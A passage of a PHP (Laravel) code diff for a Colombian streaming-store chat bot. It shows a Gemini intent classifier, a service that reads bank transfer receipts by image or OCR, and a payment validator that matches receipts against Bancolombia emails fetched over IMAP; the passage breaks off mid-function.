|
||||||
|
'canal' => $canal,
|
||||||
|
'usuario_id' => $usuarioId,
|
||||||
|
'input_tokens' => $inputTokens,
|
||||||
|
'output_tokens'=> $outputTokens,
|
||||||
|
'tiempo_ms' => $tiempoMs,
|
||||||
|
'resultado' => $resultado ? 'ok' : 'error',
|
||||||
|
'detalle' => [
|
||||||
|
'texto' => $texto,
|
||||||
|
'accion' => $resultado['action'] ?? null,
|
||||||
|
'tokens' => "{$inputTokens}/{$outputTokens}",
|
||||||
|
'raw' => $resultado ? null : substr($text, 0, 200),
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
|
||||||
|
return $resultado;
|
||||||
|
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$tiempoMs = (int) ((microtime(true) - $inicio) * 1000);
|
||||||
|
Log::warning('[Gemini Intent] Excepcion: ' . $e->getMessage());
|
||||||
|
AiUsageLog::registrar([
|
||||||
|
'servicio' => 'gemini_intent',
|
||||||
|
'canal' => $canal,
|
||||||
|
'usuario_id'=> $usuarioId,
|
||||||
|
'tiempo_ms' => $tiempoMs,
|
||||||
|
'resultado' => 'error',
|
||||||
|
'detalle' => ['error' => $e->getMessage(), 'texto' => $texto],
|
||||||
|
]);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function buildPrompt(string $texto): string
|
||||||
|
{
|
||||||
|
$promptExtra = ChatConfig::get('gemini_prompt_extra', '');
|
||||||
|
|
||||||
|
return <<<PROMPT
|
||||||
|
Eres un clasificador de intenciones para SirPremium, una tienda colombiana de streaming (Netflix, Disney+, HBO, Spotify, etc.).
|
||||||
|
Los usuarios escriben en español latinoamericano informal, con jerga colombiana y errores ortográficos.
|
||||||
|
{$promptExtra}
|
||||||
|
|
||||||
|
Acciones válidas — devuelve EXACTAMENTE una de estas:
|
||||||
|
- menu.principal → saludo, "hola", "inicio", "volver", "menú", pedir ayuda general
|
||||||
|
- servicios.listar → ver planes, catálogo, qué servicios hay, "quiero Netflix", "qué tienen", "cuánto vale", preguntar por precios
|
||||||
|
Si el usuario nombra un servicio concreto (Netflix, HBO, Disney, Spotify…),
|
||||||
|
devuélvelo en data.servicio para abrir ese servicio directamente.
|
||||||
|
- promo.listar → ver promociones, ofertas, combos, descuentos, "hay algo especial"
|
||||||
|
- recarga.iniciar → recargar saldo, cargar dinero, "quiero poner saldo", "cómo recargo", "agregar plata", "depositar"
|
||||||
|
- credenciales.listar → ver contraseña, cómo entrar, "no puedo acceder", "dame el usuario", "mis datos de Netflix", "cómo me conecto"
|
||||||
|
- historial.ver → historial de compras, "qué he comprado", "mis pedidos", "mis servicios activos"
|
||||||
|
- perfil.ver → ver perfil, mis datos personales, cambiar información
|
||||||
|
|
||||||
|
Ejemplos de clasificación:
|
||||||
|
"hacer recarga" → recarga.iniciar
|
||||||
|
"quiero recargar" → recarga.iniciar
|
||||||
|
"cargar saldo" → recarga.iniciar
|
||||||
|
"poner plata" → recarga.iniciar
|
||||||
|
"ver planes" → servicios.listar, data {}
|
||||||
|
"qué tienen de Netflix" → servicios.listar, data {"servicio": "Netflix"}
|
||||||
|
"cuenta de hbo" → servicios.listar, data {"servicio": "HBO"}
|
||||||
|
"cuánto vale disney" → servicios.listar, data {"servicio": "Disney"}
|
||||||
|
"hay promociones" → promo.listar
|
||||||
|
"mis contraseñas" → credenciales.listar
|
||||||
|
"no puedo entrar a mi cuenta" → credenciales.listar
|
||||||
|
Texto del usuario: "{$texto}"
|
||||||
|
|
||||||
|
Responde ÚNICAMENTE con JSON válido, sin markdown, sin explicación:
|
||||||
|
{"action": "la_accion", "data": {}}
|
||||||
|
|
||||||
|
Si el texto es completamente ambiguo o irrelevante, usa: {"action": "menu.principal", "data": {}}
|
||||||
|
PROMPT;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function parseRespuesta(string $text): ?array
|
||||||
|
{
|
||||||
|
$text = trim($text);
|
||||||
|
// Limpiar markdown si Gemini lo incluye
|
||||||
|
$text = preg_replace('/```json\s*|\s*```/', '', $text);
|
||||||
|
$text = trim($text);
|
||||||
|
|
||||||
|
$json = json_decode($text, true);
|
||||||
|
|
||||||
|
if (! is_array($json) || empty($json['action'])) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
$accionesValidas = [
|
||||||
|
'menu.principal', 'servicios.listar', 'promo.listar',
|
||||||
|
'recarga.iniciar', 'credenciales.listar', 'historial.ver',
|
||||||
|
'perfil.ver', 'asesor.solicitar',
|
||||||
|
];
|
||||||
|
|
||||||
|
if (! in_array($json['action'], $accionesValidas)) {
|
||||||
|
return ['action' => 'menu.principal', 'data' => []];
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'action' => $json['action'],
|
||||||
|
'data' => is_array($json['data'] ?? null) ? $json['data'] : [],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+217
@@ -0,0 +1,217 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\AiUsageLog;
|
||||||
|
use App\Models\ChatConfig;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
|
class GeminiVisionService
|
||||||
|
{
|
||||||
|
private string $apiKey;
|
||||||
|
private string $model;
|
||||||
|
|
||||||
|
public function __construct()
|
||||||
|
{
|
||||||
|
$this->apiKey = ChatConfig::get('gemini_api_key', '');
|
||||||
|
$this->model = ChatConfig::get('gemini_model', 'gemini-2.0-flash');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function extraerPago(string $base64, string $mimeType, ?int $usuarioId = null, string $canal = 'telegram'): ?array
|
||||||
|
{
|
||||||
|
$contents = [[
|
||||||
|
'parts' => [
|
||||||
|
['text' => $this->buildPrompt()],
|
||||||
|
['inline_data' => ['mime_type' => $mimeType, 'data' => $base64]],
|
||||||
|
],
|
||||||
|
]];
|
||||||
|
|
||||||
|
return $this->ejecutar($contents, $usuarioId, $canal, 'gemini_vision');
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Igual que extraerPago(), pero en vez de mandar la imagen manda texto plano
|
||||||
|
* (ya extraido por un servicio de OCR externo) para que Gemini solo lo
|
||||||
|
* estructure en JSON. Mas barato y no depende de la cuota de vision.
|
||||||
|
*/
|
||||||
|
public function extraerPagoDeTexto(string $texto, ?int $usuarioId = null, string $canal = 'web'): ?array
|
||||||
|
{
|
||||||
|
$contents = [[
|
||||||
|
'parts' => [
|
||||||
|
['text' => $this->buildPromptTexto($texto)],
|
||||||
|
],
|
||||||
|
]];
|
||||||
|
|
||||||
|
return $this->ejecutar($contents, $usuarioId, $canal, 'gemini_text');
|
||||||
|
}
|
||||||
|
|
||||||
|
private function ejecutar(array $contents, ?int $usuarioId, string $canal, string $servicio): ?array
|
||||||
|
{
|
||||||
|
if (! $this->apiKey) {
|
||||||
|
Log::warning('[Gemini Vision] No hay API key configurada.');
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
$body = [
|
||||||
|
'contents' => $contents,
|
||||||
|
'generationConfig' => [
|
||||||
|
'temperature' => 0.1,
|
||||||
|
'maxOutputTokens' => 2048,
|
||||||
|
'thinkingConfig' => ['thinkingBudget' => 0],
|
||||||
|
],
|
||||||
|
];
|
||||||
|
|
||||||
|
$inicio = microtime(true);
|
||||||
|
$response = null;
|
||||||
|
$lastError = '';
|
||||||
|
|
||||||
|
foreach (['v1', 'v1beta'] as $ver) {
|
||||||
|
$url = "https://generativelanguage.googleapis.com/{$ver}/models/{$this->model}:generateContent";
|
||||||
|
try {
|
||||||
|
$resp = Http::withHeaders(['Content-Type' => 'application/json'])
|
||||||
|
->timeout(40)
|
||||||
|
->post("{$url}?key={$this->apiKey}", $body);
|
||||||
|
|
||||||
|
if ($resp->successful()) {
|
||||||
|
$response = $resp;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
$lastError = "[{$ver}] " . ($resp->json('error.message') ?? substr($resp->body(), 0, 200));
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$lastError = "[{$ver}] " . $e->getMessage();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$tiempoMs = (int) ((microtime(true) - $inicio) * 1000);
|
||||||
|
|
||||||
|
if (! $response) {
|
||||||
|
Log::warning("[Gemini {$servicio}] API failed: " . $lastError);
|
||||||
|
AiUsageLog::registrar([
|
||||||
|
'servicio' => $servicio,
|
||||||
|
'canal' => $canal,
|
||||||
|
'usuario_id' => $usuarioId,
|
||||||
|
'tiempo_ms' => $tiempoMs,
|
||||||
|
'resultado' => 'error',
|
||||||
|
'detalle' => ['error' => $lastError, 'modelo' => $this->model],
|
||||||
|
]);
|
||||||
|
// Return error info so caller can show it
|
||||||
|
return ['__error' => $lastError];
|
||||||
|
}
|
||||||
|
|
||||||
|
$inputTokens = $response->json('usageMetadata.promptTokenCount', 0);
|
||||||
|
$outputTokens = $response->json('usageMetadata.candidatesTokenCount', 0);
|
||||||
|
|
||||||
|
// Skip thought parts (gemini-3.x thinking blocks), only keep actual response text
|
||||||
|
$parts = $response->json('candidates.0.content.parts', []);
|
||||||
|
$text = implode("\n", array_column(
|
||||||
|
array_filter($parts, fn($p) => isset($p['text']) && empty($p['thought'])),
|
||||||
|
'text'
|
||||||
|
));
|
||||||
|
|
||||||
|
Log::info("[Gemini {$servicio}] raw response: " . substr($text, 0, 500));
|
||||||
|
|
||||||
|
$resultado = $this->parseRespuesta($text);
|
||||||
|
|
||||||
|
AiUsageLog::registrar([
|
||||||
|
'servicio' => $servicio,
|
||||||
|
'canal' => $canal,
|
||||||
|
'usuario_id' => $usuarioId,
|
||||||
|
'input_tokens' => $inputTokens,
|
||||||
|
'output_tokens' => $outputTokens,
|
||||||
|
'tiempo_ms' => $tiempoMs,
|
||||||
|
'resultado' => $resultado ? 'ok' : 'error',
|
||||||
|
'detalle' => $resultado
|
||||||
|
? ['banco' => $resultado['banco'], 'valor' => $resultado['valor']]
|
||||||
|
: ['raw' => substr($text, 0, 400), 'modelo' => $this->model],
|
||||||
|
]);
|
||||||
|
|
||||||
|
// If parse failed, return debug info so caller can show it
|
||||||
|
if (! $resultado) {
|
||||||
|
return ['__parse_error' => substr($text, 0, 300)];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $resultado;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function buildPrompt(): string
|
||||||
|
{
|
||||||
|
return <<<PROMPT
|
||||||
|
Analiza esta imagen de comprobante de pago bancario o transferencia.
|
||||||
|
|
||||||
|
Extrae los siguientes campos:
|
||||||
|
- banco: nombre del banco emisor (Bancolombia, Nequi, Davivienda, Banco de Bogota, etc.)
|
||||||
|
- valor: monto en numeros enteros sin simbolos ni puntos (ej: 50000)
|
||||||
|
- referencia: numero de referencia o transaccion (si existe)
|
||||||
|
- fecha: fecha en formato dd/mm/yyyy
|
||||||
|
- hora: hora en formato HH:mm (si existe)
|
||||||
|
- remitente: nombre de quien envia el dinero (si aparece)
|
||||||
|
- llave: llave de pago Bancolombia o Nequi del destinatario, empieza con @ (ej: @leon8909). Solo si aparece en el comprobante.
|
||||||
|
|
||||||
|
Responde UNICAMENTE con un JSON valido, sin markdown, sin explicacion:
|
||||||
|
{"banco": "...", "valor": 50000, "referencia": "...", "fecha": "...", "hora": "...", "remitente": "...", "llave": "..."}
|
||||||
|
|
||||||
|
Si no encuentras un campo, usa null para ese campo.
|
||||||
|
Si la imagen NO es un comprobante de pago, responde exactamente: {"error": "no_es_comprobante"}
|
||||||
|
PROMPT;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function buildPromptTexto(string $texto): string
|
||||||
|
{
|
||||||
|
return <<<PROMPT
|
||||||
|
El siguiente texto fue extraido por OCR de una imagen de un comprobante de pago
|
||||||
|
bancario o transferencia. Puede tener errores de lectura, palabras cortadas o
|
||||||
|
lineas desordenadas.
|
||||||
|
|
||||||
|
TEXTO OCR:
|
||||||
|
"""
|
||||||
|
{$texto}
|
||||||
|
"""
|
||||||
|
|
||||||
|
Extrae los siguientes campos:
|
||||||
|
- banco: nombre del banco emisor (Bancolombia, Nequi, Davivienda, Banco de Bogota, etc.)
|
||||||
|
- valor: monto en numeros enteros sin simbolos ni puntos (ej: 50000)
|
||||||
|
- referencia: numero de referencia o transaccion (si existe)
|
||||||
|
- fecha: fecha en formato dd/mm/yyyy
|
||||||
|
- hora: hora en formato HH:mm (si existe)
|
||||||
|
- remitente: nombre de quien envia el dinero (si aparece)
|
||||||
|
- llave: llave de pago Bancolombia o Nequi del destinatario, empieza con @ (ej: @leon8909). Solo si aparece en el comprobante.
|
||||||
|
|
||||||
|
Responde UNICAMENTE con un JSON valido, sin markdown, sin explicacion:
|
||||||
|
{"banco": "...", "valor": 50000, "referencia": "...", "fecha": "...", "hora": "...", "remitente": "...", "llave": "..."}
|
||||||
|
|
||||||
|
Si no encuentras un campo, usa null para ese campo.
|
||||||
|
Si el texto NO corresponde a un comprobante de pago, responde exactamente: {"error": "no_es_comprobante"}
|
||||||
|
PROMPT;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function parseRespuesta(string $text): ?array
|
||||||
|
{
|
||||||
|
// Strip markdown fences
|
||||||
|
$text = preg_replace('/```json\s*|\s*```/', '', $text);
|
||||||
|
// Extract the first JSON object found anywhere in the text
|
||||||
|
if (preg_match('/\{.*\}/s', $text, $m)) {
|
||||||
|
$text = $m[0];
|
||||||
|
}
|
||||||
|
$text = trim($text);
|
||||||
|
$json = json_decode($text, true);
|
||||||
|
|
||||||
|
if (! is_array($json) || isset($json['error'])) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isset($json['valor'])) {
|
||||||
|
$json['valor'] = (int) preg_replace('/[^0-9]/', '', (string) $json['valor']);
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'banco' => $json['banco'] ?? null,
|
||||||
|
'valor' => $json['valor'] ?? null,
|
||||||
|
'referencia' => $json['referencia'] ?? null,
|
||||||
|
'fecha' => $json['fecha'] ?? null,
|
||||||
|
'hora' => $json['hora'] ?? null,
|
||||||
|
'remitente' => $json['remitente'] ?? null,
|
||||||
|
'llave' => $json['llave'] ?? null,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,88 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\AiUsageLog;
|
||||||
|
use App\Models\ChatConfig;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
|
class OcrExtractionService
|
||||||
|
{
|
||||||
|
private const COSTO_POR_FOTO = 5; // pesos COP, tarifa plana del servicio OCR
|
||||||
|
|
||||||
|
private string $url;
|
||||||
|
private string $token;
|
||||||
|
|
||||||
|
public function __construct()
|
||||||
|
{
|
||||||
|
$this->url = self::normalizarUrl(ChatConfig::get('ocr_url', ''));
|
||||||
|
$this->token = ChatConfig::get('ocr_token', '');
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Acepta tanto "https://host" como "https://host/extract" (error comun de configuracion). */
|
||||||
|
public static function normalizarUrl(string $url): string
|
||||||
|
{
|
||||||
|
$url = rtrim(trim($url), '/');
|
||||||
|
return preg_replace('#/extract$#', '', $url);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function habilitado(): bool
|
||||||
|
{
|
||||||
|
return ChatConfig::get('ocr_habilitado', '0') === '1' && $this->url !== '';
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Envia la imagen al servicio OCR externo y devuelve el texto crudo, o null si falla. */
|
||||||
|
public function extraerTexto(string $base64, string $mimeType, ?int $usuarioId = null, string $canal = 'web'): ?string
|
||||||
|
{
|
||||||
|
if (! $this->url) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
$inicio = microtime(true);
|
||||||
|
|
||||||
|
try {
|
||||||
|
$response = Http::withToken($this->token)
|
||||||
|
->timeout(20)
|
||||||
|
->post("{$this->url}/extract", [
|
||||||
|
'image_base64' => $base64,
|
||||||
|
'mime_type' => $mimeType,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$tiempoMs = (int) ((microtime(true) - $inicio) * 1000);
|
||||||
|
$data = $response->json();
|
||||||
|
|
||||||
|
if (! $response->successful() || ! ($data['success'] ?? false) || empty($data['text'])) {
|
||||||
|
$error = $data['error'] ?? ('HTTP ' . $response->status());
|
||||||
|
Log::warning('[OCR] ' . $error . ': ' . substr($response->body(), 0, 300));
|
||||||
|
$this->registrarUso($usuarioId, $canal, $tiempoMs, 'error', ['error' => $error]);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::info("[OCR] ok ({$tiempoMs}ms): " . substr($data['text'], 0, 200));
|
||||||
|
$this->registrarUso($usuarioId, $canal, $tiempoMs, 'ok', ['caracteres' => mb_strlen($data['text'])]);
|
||||||
|
|
||||||
|
return $data['text'];
|
||||||
|
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$tiempoMs = (int) ((microtime(true) - $inicio) * 1000);
|
||||||
|
Log::warning('[OCR] excepcion: ' . $e->getMessage());
|
||||||
|
$this->registrarUso($usuarioId, $canal, $tiempoMs, 'error', ['error' => $e->getMessage()]);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Cada foto enviada al OCR cuesta lo mismo, se lea bien o no. */
|
||||||
|
private function registrarUso(?int $usuarioId, string $canal, int $tiempoMs, string $resultado, array $detalle): void
|
||||||
|
{
|
||||||
|
AiUsageLog::registrar([
|
||||||
|
'servicio' => 'ocr',
|
||||||
|
'canal' => $canal,
|
||||||
|
'usuario_id' => $usuarioId,
|
||||||
|
'tiempo_ms' => $tiempoMs,
|
||||||
|
'costo' => self::COSTO_POR_FOTO,
|
||||||
|
'resultado' => $resultado,
|
||||||
|
'detalle' => $detalle,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+270
@@ -0,0 +1,270 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\ChatConfig;
|
||||||
|
use App\Models\PagoConfirmado;
|
||||||
|
use App\Models\WhatsappSystemConfig;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
|
class PagoValidadorService
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* Valida un pago con búsqueda IMAP progresiva: 30 min → 2 h → todo el día.
|
||||||
|
* Retorna en cuanto encuentra coincidencia; solo pasa a la siguiente ventana
|
||||||
|
* si la anterior no devuelve ningún correo o no hay coincidencia.
|
||||||
|
*/
|
||||||
|
public function validar(array $datosPago, ?int $usuarioId = null, ?string $nombreUsuario = null, string $canal = 'telegram'): array
|
||||||
|
{
|
||||||
|
$host = WhatsappSystemConfig::get('correo_imap_host', '');
|
||||||
|
if (! $host) {
|
||||||
|
Log::info('[PagoValidador] IMAP sin host configurado');
|
||||||
|
return ['estado' => 'no_encontrado', 'correo' => null, 'motivo' => 'correo_deshabilitado'];
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$correosDia = $this->fetchCorreosDia();
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('[PagoValidador] Error IMAP: ' . $e->getMessage());
|
||||||
|
return ['estado' => 'no_encontrado', 'correo' => null, 'motivo' => 'error_imap', 'debug' => $e->getMessage()];
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::info('[PagoValidador] Correos obtenidos del día: ' . count($correosDia));
|
||||||
|
|
||||||
|
if (empty($correosDia)) {
|
||||||
|
return ['estado' => 'no_encontrado', 'correo' => null, 'motivo' => 'sin_correos'];
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ventanas progresivas: primero los más recientes, luego ampliar
|
||||||
|
$ventanas = [30, 120, 0]; // minutos; 0 = sin filtro (todo el día)
|
||||||
|
|
||||||
|
foreach ($ventanas as $minutos) {
|
||||||
|
$subset = $minutos > 0
|
||||||
|
? array_values(array_filter($correosDia, fn ($c) => $this->dentroDeVentana($c, $minutos)))
|
||||||
|
: $correosDia;
|
||||||
|
|
||||||
|
if (empty($subset)) {
|
||||||
|
Log::info("[PagoValidador] Ventana {$minutos}min: sin correos, ampliando...");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::info("[PagoValidador] Ventana {$minutos}min: revisando " . count($subset) . " correos");
|
||||||
|
|
||||||
|
$resultado = $this->buscarEnCorreos($subset, $datosPago, $usuarioId, $nombreUsuario, $canal);
|
||||||
|
|
||||||
|
// Confirmado o ya_usado → retornar inmediatamente
|
||||||
|
if (in_array($resultado['estado'], ['confirmado', 'ya_usado'])) {
|
||||||
|
return $resultado;
|
||||||
|
}
|
||||||
|
|
||||||
|
// sin_coincidencia → intentar ventana más amplia
|
||||||
|
}
|
||||||
|
|
||||||
|
return ['estado' => 'no_encontrado', 'correo' => null, 'motivo' => 'sin_coincidencia'];
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─────────────────────────────────────────────────────────
|
||||||
|
// Lógica de matching (extraída del validar() original)
|
||||||
|
// ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private function buscarEnCorreos(array $correos, array $datosPago, ?int $usuarioId, ?string $nombreUsuario, string $canal): array
|
||||||
|
{
|
||||||
|
$valorIA = (int) ($datosPago['valor'] ?? 0);
|
||||||
|
$tolerancia = (int) ChatConfig::get('validacion_monto_tolerancia', '0');
|
||||||
|
$horaIA = $datosPago['hora'] ?? '';
|
||||||
|
$fechaIA = $datosPago['fecha'] ?? '';
|
||||||
|
$llaveIA = strtolower(preg_replace('/\s+/', '', $datosPago['llave'] ?? ''));
|
||||||
|
|
||||||
|
Log::info('[PagoValidador] Buscando: valor=' . $valorIA . ' fecha=' . $fechaIA . ' hora=' . $horaIA . ' llave=' . $llaveIA);
|
||||||
|
|
||||||
|
$hayYaUsado = false;
|
||||||
|
|
||||||
|
foreach ($correos as $i => $correo) {
|
||||||
|
$fuera = $correo['fuera_de_ventana'] ?? false;
|
||||||
|
$from = $correo['from'] ?? '';
|
||||||
|
$subj = $correo['subject'] ?? '';
|
||||||
|
$date = $correo['date'] ?? '';
|
||||||
|
$body = $correo['body'] ?? '';
|
||||||
|
|
||||||
|
Log::info("[PagoValidador] Correo #{$i}: from={$from} | subj={$subj} | date={$date} | fuera_ventana=" . ($fuera ? 'SI' : 'NO') . " | body(200)=" . substr($body, 0, 200));
|
||||||
|
|
||||||
|
$datosCorreo = BancolombiaParser::parse($body);
|
||||||
|
|
||||||
|
if (! $datosCorreo) {
|
||||||
|
Log::info("[PagoValidador] Correo #{$i}: NO es Bancolombia (parser retornó null)");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::info("[PagoValidador] Correo #{$i} parseado: " . json_encode($datosCorreo));
|
||||||
|
|
||||||
|
// ── 1. Valor ────────────────────────────────────────────
|
||||||
|
$valorRaw = (string) ($datosCorreo['valor'] ?? '0');
|
||||||
|
$valorRaw = preg_replace('/[.,]\d{1,2}$/', '', $valorRaw);
|
||||||
|
$valorCorreo = (int) preg_replace('/[^0-9]/', '', $valorRaw);
|
||||||
|
|
||||||
|
if ($valorIA <= 0 || $valorCorreo <= 0) {
|
||||||
|
Log::info("[PagoValidador] Correo #{$i}: valor inválido (ia={$valorIA} correo={$valorCorreo})");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (abs($valorIA - $valorCorreo) > $tolerancia) {
|
||||||
|
Log::info("[PagoValidador] Correo #{$i}: monto no coincide (ia={$valorIA} correo={$valorCorreo} tol={$tolerancia})");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 2. Fecha (mismo día) ─────────────────────────────────
|
||||||
|
if ($fechaIA && ($datosCorreo['fecha'] ?? '')) {
|
||||||
|
if (! $this->mismoDia($fechaIA, $datosCorreo['fecha'])) {
|
||||||
|
Log::info("[PagoValidador] Correo #{$i}: fecha no coincide (ia={$fechaIA} correo={$datosCorreo['fecha']})");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 3. Hora exacta ───────────────────────────────────────
|
||||||
|
if ($horaIA && ($datosCorreo['hora'] ?? '')) {
|
||||||
|
if (! $this->horaProxima($horaIA, $datosCorreo['hora'], 3)) {
|
||||||
|
Log::info("[PagoValidador] Correo #{$i}: hora no coincide (ia={$horaIA} correo={$datosCorreo['hora']})");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 4. Llave Bancolombia ─────────────────────────────────
|
||||||
|
if ($llaveIA) {
|
||||||
|
$llaveCorreo = strtolower(preg_replace('/\s+/', '', $datosCorreo['llave'] ?? ''));
|
||||||
|
if ($llaveCorreo && $llaveIA !== $llaveCorreo) {
|
||||||
|
Log::info("[PagoValidador] Correo #{$i}: llave no coincide (ia={$llaveIA} correo={$llaveCorreo})");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 5. Hash anti-duplicado ───────────────────────────────
|
||||||
|
$emailHash = sha1($body . $date);
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (PagoConfirmado::yaUsado($emailHash)) {
|
||||||
|
Log::info("[PagoValidador] Correo #{$i}: ya usado (hash={$emailHash})");
|
||||||
|
$hayYaUsado = true;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::error('[PagoValidador] ERROR tabla pagos_confirmados: ' . $e->getMessage());
|
||||||
|
return ['estado' => 'no_encontrado', 'correo' => null, 'motivo' => 'error_sistema'];
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── 6. Remitente ─────────────────────────────────────────
|
||||||
|
$remitenteCorreo = $datosCorreo['remitente'] ?? '';
|
||||||
|
if ($remitenteCorreo && $nombreUsuario) {
|
||||||
|
if (! $this->remitenteCoincide($remitenteCorreo, $nombreUsuario)) {
|
||||||
|
Log::info("[PagoValidador] Correo #{$i}: remitente no coincide (correo={$remitenteCorreo} usuario={$nombreUsuario})");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Log::info("[PagoValidador] Correo #{$i}: CONFIRMADO (remitente={$remitenteCorreo})");
|
||||||
|
|
||||||
|
try {
|
||||||
|
PagoConfirmado::marcar($emailHash, [
|
||||||
|
'usuario_id' => $usuarioId,
|
||||||
|
'valor' => $valorIA,
|
||||||
|
'canal' => $canal,
|
||||||
|
'banco' => $datosCorreo['banco'] ?? null,
|
||||||
|
'referencia' => $datosPago['referencia'] ?? null,
|
||||||
|
]);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::error('[PagoValidador] ERROR al marcar hash: ' . $e->getMessage());
|
||||||
|
return ['estado' => 'no_encontrado', 'correo' => null, 'motivo' => 'error_sistema'];
|
||||||
|
}
|
||||||
|
|
||||||
|
return ['estado' => 'confirmado', 'correo' => $datosCorreo];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($hayYaUsado) {
|
||||||
|
Log::info('[PagoValidador] Todos los emails coincidentes ya fueron usados');
|
||||||
|
return ['estado' => 'ya_usado', 'correo' => null, 'motivo' => 'correo_ya_aplicado'];
|
||||||
|
}
|
||||||
|
|
||||||
|
return ['estado' => 'no_encontrado', 'correo' => null, 'motivo' => 'sin_coincidencia', 'emails_revisados' => count($correos)];
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─────────────────────────────────────────────────────────
|
||||||
|
// Helpers
|
||||||
|
// ─────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Obtiene todos los correos del día actual (desde medianoche) con un límite alto.
|
||||||
|
* Se hace una sola conexión IMAP; el filtrado progresivo se hace en memoria.
|
||||||
|
*/
|
||||||
|
private function fetchCorreosDia(): array
|
||||||
|
{
|
||||||
|
// Minutos desde medianoche + 60 de buffer para zona horaria
|
||||||
|
$minutesDesdeMedianoche = (int) ceil(now()->diffInMinutes(now()->copy()->startOfDay())) + 60;
|
||||||
|
|
||||||
|
$service = new CorreoImapService(
|
||||||
|
host: WhatsappSystemConfig::get('correo_imap_host', ''),
|
||||||
|
port: (int) WhatsappSystemConfig::get('correo_imap_port', '993'),
|
||||||
|
useSsl: WhatsappSystemConfig::get('correo_imap_ssl', '1') === '1',
|
||||||
|
user: WhatsappSystemConfig::get('correo_imap_user', ''),
|
||||||
|
password: WhatsappSystemConfig::get('correo_imap_password', ''),
|
||||||
|
folder: WhatsappSystemConfig::get('correo_imap_folder', 'INBOX'),
|
||||||
|
);
|
||||||
|
|
||||||
|
return $service->fetchLatest(limit: 200, minutesBack: $minutesDesdeMedianoche);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function dentroDeVentana(array $correo, int $minutos): bool
|
||||||
|
{
|
||||||
|
$ts = ($correo['date'] ?? '') ? @strtotime($correo['date']) : false;
|
||||||
|
if ($ts === false) {
|
||||||
|
return true; // si no hay fecha, incluir por defecto
|
||||||
|
}
|
||||||
|
return $ts >= time() - ($minutos * 60);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function mismoDia(string $fechaA, string $fechaB): bool
|
||||||
|
{
|
||||||
|
$normA = $this->normalizarFecha($fechaA);
|
||||||
|
$normB = $this->normalizarFecha($fechaB);
|
||||||
|
return $normA && $normB && $normA === $normB;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function normalizarFecha(string $fecha): ?string
|
||||||
|
{
|
||||||
|
